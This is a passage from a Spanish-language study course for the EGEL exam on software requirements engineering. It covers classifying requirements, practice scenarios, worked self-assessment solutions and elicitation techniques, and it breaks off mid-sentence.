clasificándolas con precisión en requerimientos del negocio, requerimientos funcionales, atributos de calidad (RNF), restricciones y reglas de negocio.\n\n## Metodología para resolver escenarios de requerimientos en el EGEL\nFrente a cualquier reactivo con un caso de estudio extenso, sigue estos tres pasos sistemáticos:\n\n1. **Paso 1: Aislar las entidades y los verbos rectores.**\n   - ¿Quién realiza la acción? (¿El usuario? ¿El sistema? ¿Un sistema externo? ¿La ley?).\n2. **Paso 2: Evaluar la independencia tecnológica.**\n   - Si quitamos las computadoras, ¿la regla sigue existiendo? Si la respuesta es sí, estás ante una **Regla de Negocio**.\n   - ¿La frase impone un límite forzoso a la arquitectura sin aportar una nueva función? Si la respuesta es sí, estás ante una **Restricción**.\n3. **Paso 3: Evaluar funcionalidad vs cualidad.**\n   - ¿Describe una transacción de entrada-salida o cálculo? → **Funcional**.\n   - ¿Describe una métrica de operación (latencia, seguridad, disponibilidad)? → **No Funcional**.\n\n---\n\n## Escenario Práctico 1: El Sistema Hospitalario \"MédicaCentral\"\nLa dirección general de un hospital metropolitano contrata a tu equipo para construir su nuevo sistema de expediente clínico electrónico. Durante la entrevista de inicio, la directiva entrega la siguiente lista de requerimientos:\n\n1. *\"Debido a la Ley General de Salud, los expedientes clínicos de pacientes fallecidos deben conservarse durante un mínimo de 5 años antes de ser archivados permanentemente.\"*\n2. *\"Los médicos de terapia intensiva deben recibir una notificación en su teléfono institucional cuando los signos vitales del paciente se salgan de los parámetros de alerta.\"*\n3. *\"El personal de enfermería no podrá administrar medicamentos controlados a menos que la prescripción esté firmada digitalmente por el médico titular del turno.\"*\n4. *\"La infraestructura debe garantizar que el historial médico esté disponible el 99.999% del tiempo, ya que un fallo puede costar vidas.\"*\n5. *\"El software debe desarrollarse en lenguaje C# y desplegarse en los servidores Windows Server con SQL Server que el hospital adquirió el año pasado.\"*\n\n### Desglose analítico del ingeniero de software:\n\n- **Enunciado 1:** **Restricción Legal / Regla de Negocio Gubernamental.** Es una norma jurídica externa obligatoria. Impacta el diseño imponiendo una política de retención de datos en la base de datos y en los respaldos.\n- **Enunciado 2:** **Requerimiento Funcional.** Describe una acción proactiva del sistema: detectar un evento en el flujo de signos vitales y despachar una notificación push a un destinatario específico.\n- **Enunciado 3:** **Regla de Negocio (implementada como Requerimiento Funcional de Seguridad/Autorización).** Es una política de operación clínica. El sistema de software debe traducirla en un bloqueo de interfaz y una validación de precondición en la base de datos.\n- **Enunciado 4:** **Requerimiento No Funcional de Fiabilidad (Disponibilidad).** Define una métrica de disponibilidad extrema (cinco nueves = menos de 5.26 minutos de inactividad al año), lo cual obligará a diseñar una arquitectura con clúster activo-activo y redundancia total.\n- **Enunciado 5:** **Restricción Tecnológica.** Limita el lenguaje, sistema operativo y motor de base de datos debido a inversiones previas en activos del cliente.\n\n---\n\n## Escenario Práctico 2: La Fintech \"CrediYa\"\nUna startup financiera desea lanzar una plataforma de microcréditos digitales. En una reunión de refinamiento se registran los siguientes puntos:\n\n1. *\"Calcular el scoring crediticio de un solicitante en menos de 3 segundos utilizando modelos de Machine Learning.\"*\n2. *\"Si el solicitante tiene un reporte negativo de impago en el Buró de Crédito en los últimos 24 meses, la solicitud debe ser declinada de inmediato.\"*\n3. *\"Las contraseñas de los clientes deben tener mínimo 12 caracteres, al menos una mayúscula, un número y un carácter especial, y nunca almacenarse en texto plano.\"*\n4. *\"El servicio de consulta de buró de crédito debe realizarse mediante peticiones SOAP al web service oficial de la institución crediticia.\"*\n\n### Clasificación técnica y decisiones asociadas:\n\n| Enunciado | Clasificación Técnica | Decisión de Ingeniería / Arquitectura |\n|---|---|---|\n| **1. Scoring en \u003c 3s con ML** | Requerimiento Funcional (calcular scoring) calificado por un **Requerimiento No Funcional de Rendimiento** (\u003c 3 segundos). | Se debe optimizar el modelo de ML o precalcular variables para no exceder el umbral de latencia en la inferencia. |\n| **2. Rechazo por reporte negativo** | **Regla de Negocio**. | Se implementa como una regla en el motor de políticas de riesgo antes de invocar algoritmos más costosos. |\n| **3. Política de contraseñas** | **Requerimiento No Funcional de Seguridad** (integridad y confidencialidad). | Implementar hashing con algoritmo robusto con sal y factor de trabajo ajustable (Argon2id o bcrypt) y validador de complejidad en el registro. |\n| **4. Petición SOAP al buró** | **Requerimiento de Interfaz Externa**. | Diseñar un patrón Adapter para encapsular la comunicación SOAP heredada y exponer una interfaz limpia hacia el resto de la aplicación. |\n\n---\n\n## Escenario Práctico 3: Dilema de decisión bajo restricciones de costo y tiempo\n**Problema:** Una cadena de farmacias exige que su punto de venta funcione sin conexión a Internet (offline-first) y se sincronice automáticamente cuando regrese la red. Además, exige que el inventario esté actualizado en tiempo real en las 200 sucursales simultáneamente.\n\n**Diagnóstico de contradicción técnica:**\n- La exigencia de operar *offline* (alta disponibilidad local) entra en conflicto directo con *inventario en tiempo real sincronizado en todas partes* (consistencia inmediata).\n- Aplicando el **Teorema CAP** y la teoría de requerimientos, el ingeniero de software debe evidenciar que este par de requerimientos no funcionales son mutuamente excluyentes bajo fallos de red.\n- **Decisión:** Guiar al cliente a redefinir el requerimiento: aceptar consistencia eventual (actualización de inventario con desfase tolerable de minutos) a cambio de garantizar la continuidad operativa de la venta en cada sucursal.\n\n## Claves para el EGEL\n- Cuando te enfrentes a requerimientos contradictorios, el reactivo busca evaluar tu capacidad de **identificar trade-offs y priorizar atributos de calidad**.\n- Recuerda: Ningún requerimiento existe en el vacío. Cada requerimiento funcional consume recursos y cada requerimiento no funcional impone costos de arquitectura.\n\n## Autoevaluación\nUn cliente corporativo solicita: *\"El sistema debe permitir que los gerentes descarguen el balance contable en formato Excel y debe construirse en Node.js porque el equipo interno de TI únicamente sabe programar en JavaScript\"*.\n¿Cómo se desglosa técnicamente esta solicitud?\nA) Dos requerimientos funcionales complementarios.\nB) Un requerimiento funcional (exportar a Excel) y una restricción organizacional/tecnológica (uso de Node.js/JavaScript).\nC) Una regla de negocio contable y un atributo no funcional de portabilidad.\nD) Dos restricciones de diseño sin contenido funcional.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Los requerimientos del cliente en la vida real siempre vienen mezclados; la labor del ingeniero de software es desenredarlos y clasificarlos con rigor.\n- Las restricciones tecnológicas se respetan o se negocian justificadamente; las reglas de negocio se modelan en el dominio.\n","title":"1.1.5 Escenarios de decisión profesional: Clasificación bajo ambigüedad"},{"children":[],"contentMd":"# Repaso y consolidación: Subárea 1.1 — Tipos de requerimientos\n\n## Mapa mental conceptual\n\n```text\n                                INGENIERÍA DE REQUERIMIENTOS (1.1)\n                                                 │\n         ┌───────────────────────────────────────┼────────────────────────────────────────┐\n         │                                       │                                        │\nNIVELES DE REQUERIMIENTO             TIPOS DE DECLARACIONES                  CALIDAD Y VERIFICABILIDAD\n ├─ Negocio (Objetivos estratégicos)  ├─ Funcionales (QUÉ hace el software)   ├─ No ambiguo (1 sola interpretación)\n ├─ Usuario (Metas de los roles)      ├─ No Funcionales / Calidad (CÓMO)      ├─ Completo (Camino feliz + errores)\n └─ Sistema (Especificación técnica)  │   └─ ISO/IEC 25010 (Desempeño,       ├─ Consistente (Sin contradicciones)\n                                      │      Seguridad, Fiabilidad, etc.)     ├─ Verificable (Medible objetivamente)\n                                      ├─ Reglas de Negocio (Políticas)       ├─ Factible (Técnicamente viable)\n                                      ├─ Restricciones (Límites de diseño)   └─ Trazable (RTM Forward/Backward)\n                                      └─ Interfaces (UI, APIs, Hardware)\n```\n\n## Tabla maestra de decisiones y clasificación rápida\n\n| Si el escenario describe... | Clasifícalo primordialmente como... | Acción de ingeniería recomendada |\n|---|---|---|\n| Retorno de inversión, reducción de costos o ventaja comercial | **Objetivo de Negocio** | Traducir a requerimientos de usuario y métricas de éxito. |\n| Cálculo de impuestos, tasas de interés o condiciones de póliza | **Regla de Negocio** | Encapsular en el modelo de dominio/lógica de negocio. |\n| Acciones que el usuario ejecuta o servicios del sistema | **Requerimiento Funcional** | Modelar con Casos de Uso o Historias de Usuario con BDD. |\n| Latencia en ms, concurrencia, disponibilidad en porcentaje | **Requerimiento No Funcional (Calidad)** | Definir métricas medibles y pruebas de carga/estrés en QA. |\n| Obligación de usar un lenguaje, BD, sistema operativo o ley | **Restricción** | Registrar en el documento arquitectónico como límite no negociable. |\n| Protocolos de red, endpoints REST, tramas de hardware | **Requerimiento de Interfaz Externa** | Especificar contratos formales (OpenAPI/Swagger, schemas). |\n\n## Confusiones frecuentes: Desmitificación rápida\n\n1. **\"Seguridad siempre es no funcional\":**\n   - *Matiz:* El login con dos factores (2FA) es una **funcionalidad**; que los tokens expiren en 10 minutos y viajen por TLS 1.3 es un **atributo no funcional de seguridad**.\n2. **\"Un requerimiento no funcional no se puede probar\":**\n   - *Falso:* Si no se puede probar, está mal redactado. Todo RNF profesional tiene métrica y umbral medible.\n3. **\"Las restricciones son requerimientos no funcionales\":**\n   - *Falso:* Los RNF describen cualidades deseadas del producto; las restricciones eliminan opciones de diseño por causas externas (legales, presupuesto, legado).\n\n## Checklist de dominio profesional\nAntes de pasar a la siguiente subárea, asegúrate de cumplir con estos criterios:\n- [ ] Puedo diferenciar un objetivo de negocio de un requerimiento funcional con ejemplos reales.\n- [ ] Puedo nombrar las 8 características de calidad de ISO/IEC 25010 y dar un ejemplo medible de cada una.\n- [ ] Sé cómo transformar un requerimiento ambiguo (\"el sistema debe ser rápido\") en un requerimiento verificable.\n- [ ] Distingo entre una regla de negocio y la funcionalidad de software que la implementa.\n- [ ] Sé cómo construir una matriz de trazabilidad bidireccional básica.\n\n## Minicaso integrador de práctica\n**Escenario:** Una compañía de seguros lanza un sistema de peritaje de siniestros automovilísticos.\n- Requerimiento A: \"Los ajustadores deben poder tomar fotografías del vehículo chocado y subirlas desde la app móvil.\"\n- Requerimiento B: \"Si los daños estimados superan los $50,000 MXN, el siniestro debe turnarse obligatoriamente a un perito senior.\"\n- Requerimiento C: \"La app móvil debe pesar menos de 45 MB para facilitar su descarga en redes móviles.\"\n- Requerimiento D: \"Las fotos deben sincronizarse con el repositorio central mediante HTTPS utilizando compresión WebP.\"\n\n**Pregunta de reflexión:** ¿Cómo clasificarías formalmente cada uno de los cuatro requerimientos? (Revisa tu respuesta: A = Funcional, B = Regla de Negocio, C = Restricción de distribución / Atributo de portabilidad, D = Requerimiento de Interfaz y Rendimiento).\n","title":"1.1.6 Repaso y consolidación: Subárea 1.1"},{"children":[],"contentMd":"# Soluciones razonadas: Autoevaluaciones de la Subárea 1.1\n\nEn esta lección se desglosan las respuestas correctas y los distractores de las autoevaluaciones planteadas a lo largo de la subárea 1.1, con el fin de desarrollar tu criterio analítico para el examen.\n\n---\n\n### Solución a la autoevaluación 1.1.1 (Fundamentos y niveles)\n**Pregunta:** Un cliente de seguros solicita: *\"Queremos migrar a microservicios en Kubernetes porque nuestros servidores actuales colapsan en las ventas nocturnas de fin de mes\"*. ¿Cómo debe clasificar un ingeniero de software esta declaración?\n\n- **Opción correcta: B** (Como una solución técnica propuesta para resolver un requerimiento no funcional de escalabilidad y rendimiento, originado por una necesidad de negocio de no perder ventas).\n- **Argumentación técnica:** El cliente está prescribiendo una solución arquitectónica concreta (microservicios en Kubernetes) creyendo que esa es su necesidad. Sin embargo, el problema raíz es que el sistema actual colapsa bajo picos de carga (problema de rendimiento y escalabilidad). La necesidad del negocio es mantener la recaudación de ventas nocturnas sin pérdidas. Un buen ingeniero debe separar la necesidad del negocio de la solución técnica para evaluar si realmente se requieren microservicios o si basta con optimizar bases de datos o escalar verticalmente.\n- **Por qué fallan los distractores:**\n  - La opción A es incorrecta porque \"usar microservicios\" no es una función del software.\n  - La opción C es incorrecta porque las reglas de negocio rigen las políticas comerciales, no la infraestructura de servidores.\n  - La opción D es incorrecta porque Kubernetes no es una precondición del sistema operativo en el contexto de negocio.\n\n---\n\n### Solución a la autoevaluación 1.1.2 (Funcional vs Atributos de calidad)\n**Pregunta:** Analiza el siguiente requerimiento: *\"El sistema de pagos procesará hasta 5,000 transacciones simultáneas sin que el tiempo de respuesta individual supere los 800 milisegundos\"*. ¿A qué categoría pertenece?\n\n- **Opción correcta: B** (Requerimiento No Funcional de Eficiencia de Desempeño: Capacidad y Comportamiento Temporal).\n- **Argumentación técnica:** El requerimiento no se limita a indicar que el sistema procesa pagos (eso sería el funcional básico). El núcleo del enunciado establece dos límites cuantitativos de operación: la capacidad de concurrencia (5,000 transacciones simultáneas) y el umbral temporal máximo tolerable (800 ms). De acuerdo con la norma ISO/IEC 25010, esto califica la eficiencia del desempeño en sus subcaracterísticas de capacidad y comportamiento temporal.\n- **Por qué fallan los distractores:**\n  - La opción A es incorrecta porque la cuantificación de concurrencia y latencia es la definición misma de un atributo de calidad no funcional.\n  - La opción C es incorrecta porque no describe un modelo físico de servidor o hardware, sino una meta de servicio del software.\n  - La opción D es incorrecta porque el tiempo de respuesta y los hilos concurrentes no son reglas del negocio financiero, sino métricas de computación.\n\n---\n\n### Solución a la autoevaluación 1.1.3 (Reglas de negocio y restricciones)\n**Pregunta:** *\"Para evitar sanciones aduaneras, el sistema no autorizará el despacho de contenedores cuyo peso bruto exceda las 28 toneladas métricas según la báscula certificada.\"* ¿Qué combinación representa con mayor exactitud esta especificación?\n\n- **Opción correcta: A** (Una regla de negocio legal implementada a través de un requerimiento funcional con dependencia de una interfaz de hardware).\n- **Argumentación técnica:** La limitación de 28 toneladas deriva de una ley aduanera que existe con total independencia del software (Regla de negocio legal). El sistema de software debe hacer cumplir esta regla bloqueando el despacho (Requerimiento funcional) a partir de los datos emitidos por un sensor físico (Báscula certificada = Interfaz de hardware).\n- **Por qué fallan los distractores:**\n  - La opción B confunde reglas aduaneras con portabilidad del software (la capacidad del software de correr en otro sistema operativo).\n  - La opción C afirma falsamente que es una restricción de presupuesto, lo cual no tiene relación con el pesaje de contenedores.\n  - La opción D ignora que el pesaje y el bloqueo de despacho involucran lógica de negocio y periféricos, no solo diseño de pantalla.\n\n---\n\n### Solución a la autoevaluación 1.1.4 (Calidad de requerimientos)\n**Pregunta:** Un analista escribe: *\"El motor de reservaciones responderá con la mayor velocidad posible cuando el servidor no esté demasiado saturado.\"* ¿Cuáles son los dos defectos más graves?\n\n- **Opción correcta: A** (Ambigüedad y falta de verificabilidad).\n- **Argumentación técnica:** Los términos *\"la mayor velocidad posible\"* y *\"demasiado saturado\"* son completamente subjetivos y vagos. Dos ingenieros o auditores distintos tendrán interpretaciones totalmente opuestas de qué significa \"demasiado saturado\" (¿al 70% de CPU? ¿con 100 usuarios? ¿con 10,000?). Al no existir una cifra objetiva, es imposible redactar un caso de prueba para verificar si el requerimiento se cumplió o falló (inverificable).\n- **Por qué fallan los distractores:**\n  - La opción B menciona inconsistencia; sin embargo, no se están comparando dos requerimientos que chocan entre sí, sino analizando un único enunciado ambiguo.\n  - La opción C y D mencionan desactualización, inviabilidad legal o duplicidad, aspectos ajenos a la redacción del texto.\n\n---\n\n### Solución a la autoevaluación 1.1.5 (Clasificación bajo ambigüedad)\n**Pregunta:** *\"El sistema debe permitir que los gerentes descarguen el balance contable en formato Excel y debe construirse en Node.js porque el equipo interno de TI únicamente sabe programar en JavaScript\".* ¿Cómo se desglosa técnicamente?\n\n- **Opción correcta: B** (Un requerimiento funcional: exportar a Excel; y una restricción organizacional/tecnológica: uso de Node.js/JavaScript).\n- **Argumentación técnica:** Descargar el balance contable en formato Excel es una función concreta que el sistema ejecuta para el usuario (Requerimiento funcional). Por su parte, forzar el uso de Node.js y JavaScript debido a las competencias del personal de la empresa es una limitación impuesta al equipo de desarrollo que reduce a una sola opción el lenguaje y runtime a utilizar (Restricción de proyecto/organizacional).\n- **Por qué fallan los distractores:**\n  - La opción A trata la selección de Node.js como un requerimiento funcional, lo cual es conceptualmente erróneo (un usuario no interactúa con Node.js, interactúa con la aplicación).\n  - La opción C y D clasifican erróneamente la exportación a Excel como regla de negocio o afirman que no hay contenido funcional.\n","title":"1.1.7 Soluciones razonadas: Autoevaluaciones de la Subárea 1.1"}],"contentMd":"","title":"1.1 Tipos de requerimientos"},{"children":[{"children":[],"contentMd":"# Técnicas de obtención y elicitación de requerimientos\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de seleccionar, justificar y aplicar la técnica de elicitación de requerimientos más apropiada según el tipo de proyecto, la disponibilidad de los interesados, el nivel de formalidad y las restricciones operativas, comparando sus ventajas, limitaciones y sesgos.\n\n## ¿Por qué importa en la práctica profesional?\nLos requerimientos no están esperando pacientemente en un cajón para ser leídos; deben ser \"elicitados\" (descubiertos, extraídos y negociados). Los usuarios rara vez saben con precisión lo que necesitan a nivel de software o utilizan jergas operativas que ocultan excepciones críticas. Si un analista aplica únicamente entrevistas individuales en un proyecto con 5,000 usuarios distribuidos geográficamente, el proyecto colapsará por costo y retraso. La selección de la técnica de obtención adecuada es una competencia evaluada de forma rigurosa en el EGEL.\n\n## Panorama integral de técnicas de elicitación\n\n### 1. Entrevistas (Estructuradas, Semiestructuradas y Abiertas)\n- **Concepto:** Diálogo directo entre el analista y uno o más interesados.\n- **Variantes:**\n  - *Estructurada:* Basada en un guión rígido de preguntas cerradas. Alta comparabilidad entre respuestas, baja flexibilidad para descubrir temas imprevistos.\n  - *Semiestructurada (la más recomendada):* Dispone de un marco temático central pero permite repreguntar y profundizar cuando surge un dato valioso.\n  - *Abierta:* Conversación exploratoria. Útil en fases iniciales para definir el alcance general.\n- **Cuándo utilizarla:** Para comprender objetivos estratégicos, procesos complejos de decisión y expectativas de stakeholders de alto nivel o expertos de dominio especializados.\n- **Limitaciones y sesgos:** Requiere mucho tiempo; sujeta a sesgos de percepción del entrevistado (los usuarios suelen describir cómo *debería* funcionar el proceso, no cómo funciona en la cruda realidad).\n\n### 2. Cuestionarios y Encuestas\n- **Concepto:** Conjunto de preguntas cerradas o de opción múltiple administradas digitalmente a una muestra representativa.\n- **Cuándo utilizarla:** Cuando la base de usuarios es masiva, diversa y dispersa geográficamente (e-commerce, banca de consumo, apps para estudiantes).\n- **Ventajas:** Obtención rápida de datos estadísticos cuantitativos a costo marginal despreciable.\n- **Limitaciones:** Imposibilidad de aclarar dudas o repreguntar; baja tasa de respuesta si son extensos; preguntas mal redactadas conducen a conclusiones erróneas.\n\n### 3. Observación directa (Etnografía / Shadowing)\n- **Concepto:** El analista se traslada al entorno real de trabajo del usuario para observar y registrar cómo ejecuta sus tareas cotidianas sin interferir (observación pasiva) o haciendo preguntas puntuales (observación activa).\n- **Cuándo utilizarla:** Procesos altamente operativos, repetitivos o manuales donde los usuarios tienen dificultades para verbalizar lo que hacen (\"conocimiento tácito\"), como operadores de almacén, cajeros o despachadores de ambulancias.\n- **Ventajas:** Descubre la realidad operativa, excepciones no documentadas, atajos informales y cuellos de botella reales.\n- **Limitaciones:** Efecto Hawthorne (las personas alteran su conducta natural cuando se sienten observadas); alto consumo de tiempo.\n\n### 4. Talleres de trabajo facilitados (JAD - Joint Application Development)\n- **Concepto:** Sesiones intensivas y estructuradas de 1 a 3 días que reúnen a usuarios finales, directivos de negocio, arquitectos y analistas en una misma sala, liderados por un facilitador neutral.\n- **Cuándo utilizarla:** Proyectos donde existen conflictos de interés entre departamentos, procesos que cruzan múltiples áreas de la empresa o cuando los plazos de definición son críticos.\n- **Ventajas:** Reduce drásticamente los meses de reuniones individuales; permite resolver discrepancias y consensuar requerimientos en tiempo real.\n- **Limitaciones:** Alto costo logístico; requiere coordinar agendas de ejecutivos clave; riesgo de que perfiles con mayor jerarquía silencien a los usuarios operativos si el facilitador no es experto.\n\n### 5. Prototipado rápido (Baja y Alta fidelidad)\n- **Concepto:** Creación de maquetas visuales o interactivas (sketches, wireframes, mockups clicables) para que el usuario interactúe y reaccione antes de escribir código.\n- **Cuándo utilizarla:** Sistemas innovadores, interfaces complejas o clientes que no comprenden especificaciones textuales abstractas.\n- **Ventajas:** Retroalimentación inmediata; concreta requerimientos vagos; minimiza retrabajo.\n- **Limitaciones:** El cliente puede confundir el prototipo visual con el software terminado y exigir entregas prematuras.\n\n### 6. Análisis documental y arqueología de sistemas existentes\n- **Concepto:** Revisión de manuales de organización, leyes, reglamentos, contratos, formatos en papel, hojas de cálculo de Excel y código de sistemas legados.\n- **Cuándo utilizarla:** Proyectos de reemplazo o modernización de sistemas heredados donde los desarrolladores originales ya no están en la organización.\n- **Limitaciones:** La documentación suele estar desactualizada; los sistemas legados pueden contener código muerto o reglas que ya no aplican.\n\n## Matriz comparativa de técnicas de elicitación\n\n| Técnica | Velocidad | Costo relativo | Profundidad analítica | Audiencia idónea | Situación donde es una PÉSIMA elección |\n|---|---|---|---|---|---|\n| **Entrevistas** | Media / Baja | Medio / Alto | Muy alta | Directivos, expertos de dominio único. | Intentar encuestar a 10,000 clientes de una app móvil uno por uno. |\n| **Cuestionarios** | Muy alta | Muy bajo | Baja / Superficial | Miles de usuarios dispersos. | Descubrir las reglas contables de consolidación fiscal de un consorcio. |\n| **Observación** | Baja | Medio | Alta (tácita) | Operadores de piso, almacenistas, técnicos. | Procesos puramente analíticos o de toma de decisiones confidenciales de directores. |\n| **Talleres JAD** | Alta | Alto (por horas/hombre) | Alta / Consensuada | Equipos multidisciplinarios en conflicto. | Proyectos simples con un único usuario que decide todo. |\n| **Prototipado** | Media | Medio | Alta (usabilidad) | Usuarios visuales, nuevos productos digitales. | Sistemas de backend puro sin interfaz (APIs, algoritmos de cálculo numérico). |\n| **Análisis Documental** | Rápida | Bajo | Media (histórica) | Proyectos de reemplazo tecnológico, auditorías. | Empresas nuevas que están inventando un modelo de negocio que nunca existió. |\n\n## Escenario de decisión profesional: El sistema de despacho de aduanas \"PortTech\"\n**Contexto:** Un puerto marítimo internacional modernizará su sistema de inspección de contenedores. Existen tres grupos clave de interesados:\n1. Agentes aduanales en patio bajo sol y lluvia revisando sellos físicos de contenedores.\n2. Directivos de la Agencia Tributaria que exigen estricto apego a leyes de importación y trazabilidad anti-contrabando.\n3. Consignatarios y transportistas externos que demandan agilidad en el retiro de carga y se quejan de la corrupción en el puerto.\n\n**Estrategia óptima de elicitación formulada por el ingeniero:**\n- Para los **Directivos de la Agencia Tributaria**: **Análisis documental** de la legislación aduanera vigente seguido de **Entrevistas semiestructuradas** para entender las prioridades de fiscalización.\n- Para los **Agentes aduanales en patio**: **Observación directa (Shadowing)**. Ver cómo inspeccionan los contenedores con tabletas o papel bajo la lluvia revelará requerimientos de hardware rudo, contrastes de pantalla bajo luz solar y modos fuera de línea que jamás mencionarían en una oficina climatizada.\n- Para los **Agentes, Transportistas y Autoridades con intereses opuestos**: **Taller facilitado (JAD)** para definir el flujo común de liberación y negociar tiempos máximos de inspección evitando culpas cruzadas.\n- Para la comunidad masiva de transportistas: **Encuestas en línea** para evaluar los principales puntos de fricción en los accesos al puerto.\n\n## Errores y confusiones frecuentes\n\n- **Utilizar una sola técnica para todo el proyecto:** Asumir que \"hacer entrevistas\" basta para entender todo el sistema.\n- **Creer ciegamente en lo que dice el usuario:** Los usuarios a menudo omiten pasos que realizan por hábito o justifican procedimientos absurdos porque \"siempre se ha hecho así\". La observación directa y el análisis documental sirven de contraste objetivo.\n- **No identificar a todos los interesados (Stakeholders ocultos):** Olvidar consultar al área de Seguridad Informática, Legal o Mantenimiento y descubrir en la semana previa al despliegue que el sistema viola políticas corporativas no consideradas.\n\n## Claves para el EGEL\n- Si un reactivo describe usuarios que realizan trabajos manuales repetitivos y les cuesta explicar su rutina: la técnica correcta es **Observación**.\n- Si el escenario plantea directores o áreas con requerimientos contrapuestos y disputas políticas sobre los procesos: la técnica correcta es **Taller JAD / Taller facilitado**.\n- Si el proyecto involucra un universo masivo de usuarios finales dispersos: la técnica es **Cuestionario / Encuesta**.\n- Si se reemplaza un sistema antiguo cuyos creadores ya no laboran en la empresa: la técnica es **Análisis documental y arqueología de software**.\n\n## Autoevaluación\nUna empresa de logística sufre constantes pérdidas porque los conductores de reparto en campo omiten reportar las entregas fallidas. La dirección afirma que el procedimiento está perfectamente explicado en el manual, pero los conductores dicen que la app actual no les sirve en carretera.\n¿Cuál es la técnica de elicitación más adecuada para que el analista identifique la causa real del problema y obtenga los requerimientos verdaderos?\nA) Aplicar una encuesta cerrada por correo electrónico a todos los conductores.\nB) Realizar observación directa en campo acompañando a los conductores en sus rutas reales de reparto (Shadowing).\nC) Leer exhaustivamente el manual de procedimientos internos de la empresa.\nD) Organizar un taller JAD de dos días en la sala de juntas corporativa.\n\n*(Consulta la solución razonada en la última lección de esta subárea).*\n\n## Puntos clave\n- Ninguna técnica de elicitación es universal; la combinación complementaria de técnicas es la marca de un profesional sénior.\n- La observación revela el conocimiento tácito; las entrevistas revelan la estrategia; los talleres resuelven discrepancias.\n","title":"1.2.1 Técnicas de obtención y elicitación de requerimientos"},{"children":[],"contentMd":"# Análisis de requerimientos: Conflictos, inconsistencias y dependencias\n\n## Objetivo de aprendizaje\nAl finalizar esta lección serás capaz de analizar críticamente el conjunto de requerimientos obtenidos, detectando conflictos entre interesados, inconsistencias lógicas, ambigüedades, duplicidades, omisiones y dependencias críticas, evaluando su impacto y viabilidad técnica y de negocio.\n\n## ¿Por qué importa en la práctica profesional?\nObtener requerimientos es solo la primera mitad del trabajo. La segunda mitad —y la que exige mayor madurez ingenieril— es el **análisis**. Los diferentes interesados en una empresa tienen objetivos contrapuestos por naturaleza: el área comercial desea que el registro de clientes no pida datos para maximizar ventas; el área de riesgos exige pedir 20 documentos para evitar fraudes; el área de TI exige no saturar la base de datos. Si el analista simplemente acumula estas solicitudes sin analizarlas ni resolver sus conflictos, el software resultante será inconsistente e inviable.\n\n## Actividades centrales del análisis de requerimientos\n\nEl análisis de requerimientos procesa la información bruta obtenida en la elicitación para transformarla en una base de requerimientos estructurada, coherente y viable:\n\n1. **Detección y resolución de conflictos:** Identificación de metas contrapuestas entre diferentes grupos de interés y negociación de soluciones de compromiso (trade-offs).\n2. **Identificación de ambigüedades y vaguedades:** Detección de términos polisémicos o imprecisos para acotarlos con definiciones operacionales rigurosas.\n3. **Detección de omisiones e incompletitudes:** Descubrir escenarios no cubiertos (¿qué ocurre si se corta la conexión en medio de un cobro? ¿qué pasa si el inventario llega a cero?).\n4. **Eliminación de duplicidades y redundancias:** Consolidar requerimientos idénticos expresados con palabras diferentes por distintos departamentos.\n5. **Mapeo de dependencias:** Determinar qué requerimientos necesitan forzosamente de otros para existir o ejecutarse.\n6. **Análisis de factibilidad técnica, económica y operativa:** Descartar o replantear requerimientos que violan leyes físicas, exceden el presupuesto o son inoperables para los usuarios.\n\n## Tipos de conflictos entre requerimientos\n\n| Tipo de Conflicto | Descripción | Ejemplo típico | Estrategia de resolución |\n|---|---|---|---|\n| **Conflicto de Interés / Alcance** | Dos áreas de la empresa persiguen metas opuestas sobre la misma funcionalidad. | Ventas pide checkout en 1 clic; Seguridad pide autenticación multifactor obligatoria en cada compra. | Negociación basada en evaluación de riesgos: autenticación en 1 clic para compras menores a cierto monto; 2FA para montos altos o comportamientos anómalos. |\n| **Conflicto de Atributos de Calidad** | Un requerimiento no funcional perjudica directamente a otro requerimiento no funcional. | Cifrado cuántico de máxima seguridad vs tiempo de respuesta de submilisegundos en dispositivos móviles lentos. | Matriz de trade-offs: seleccionar un nivel de cifrado estándar de la industria que mantenga la latencia en niveles tolerables. |\n| **Inconsistencia Lógica de Dominio** | Dos reglas se contradicen matemáticamente o cronológicamente. | Regla A: \"El saldo nunca puede ser negativo\"; Regla B: \"Se permite sobregiro automático de hasta $2,000 MXN\". | Refinar la definición: \"El saldo disponible puede ser de hasta -$2,000 MXN por sobregiro autorizado, pero el saldo propio es cero\". |\n| **Conflicto Temporal / Dependencia Circular** | El requerimiento A depende de B, pero B no puede ejecutarse sin A. | El módulo de reportes requiere datos del módulo de cobros, pero el módulo de cobros requiere calcular comisiones en el de reportes. | Romper la circularidad desacoplando el evento generador del cálculo diferido. |\n\n## Mapeo y gestión de dependencias\nLos requerimientos rara vez son independientes. Existen diferentes clases de dependencias que condicionan la arquitectura y el cronograma:\n\n- **Dependencia Funcional (Estructural):** El requerimiento B no tiene sentido conceptual sin el requerimiento A. *Ejemplo:* \"Descargar factura en PDF\" depende funcionalmente de \"Emitir factura fiscal\".\n- **Dependencia de Flujo de Datos:** El requerimiento B necesita como entrada un dato generado por el requerimiento A. *Ejemplo:* \"Calcular ruta óptima de reparto\" depende de \"Geocodificar dirección del cliente\".\n- **Dependencia Temporal / Secuencial:** El requerimiento B solo puede ejecutarse tras la finalización exitosa de A.\n- **Dependencia Externa:** El requerimiento del sistema depende de la disponibilidad de un servicio de un tercero (pasarela bancaria, API meteorológica, hardware).\n\n## Escenario de decisión profesional: La plataforma de e-commerce \"RetailPro\"\nDurante la fase de análisis de una gran tienda en línea, el analista descubre los siguientes tres requerimientos:\n- **REQ-01 (Marketing):** *\"El sistema debe permitir que cualquier visitante compre productos de inmediato como invitado sin crear cuenta ni verificar correo electrónico.\"*\n- **REQ-02 (Finanzas / Fiscal):** *\"Para emitir la factura electrónica obligatoria por ley, todo comprador debe ingresar y validar ante el SAT su RFC, nombre fiscal, código postal y régimen fiscal antes de procesar el pago.\"*\n- **REQ-03 (Seguridad):** *\"Las transacciones de usuarios no registrados están limitadas a un máximo de $1,000 MXN para prevenir compras fraudulentas con tarjetas robadas.\"*\n\n**Análisis de conflictos e inconsistencias:**\n- Si un usuario invitado compra un artículo de $5,000 MXN (permitido por Marketing), Seguridad bloqueará la transacción (REQ-03).\n- Si el usuario invitado exige factura, Finanzas exige validar datos fiscales completos (REQ-02), lo cual destruye la premisa de Marketing de \"compra inmediata sin registro\" (REQ-01).\n\n**Resolución de ingeniería:**\n1. Crear un flujo de compra diferenciado:\n   - Compra rápida como invitado válida únicamente para montos menores a $1,000 MXN y con factura genérica al público en general.\n   - Si la compra supera los $1,000 MXN o el cliente marca la casilla 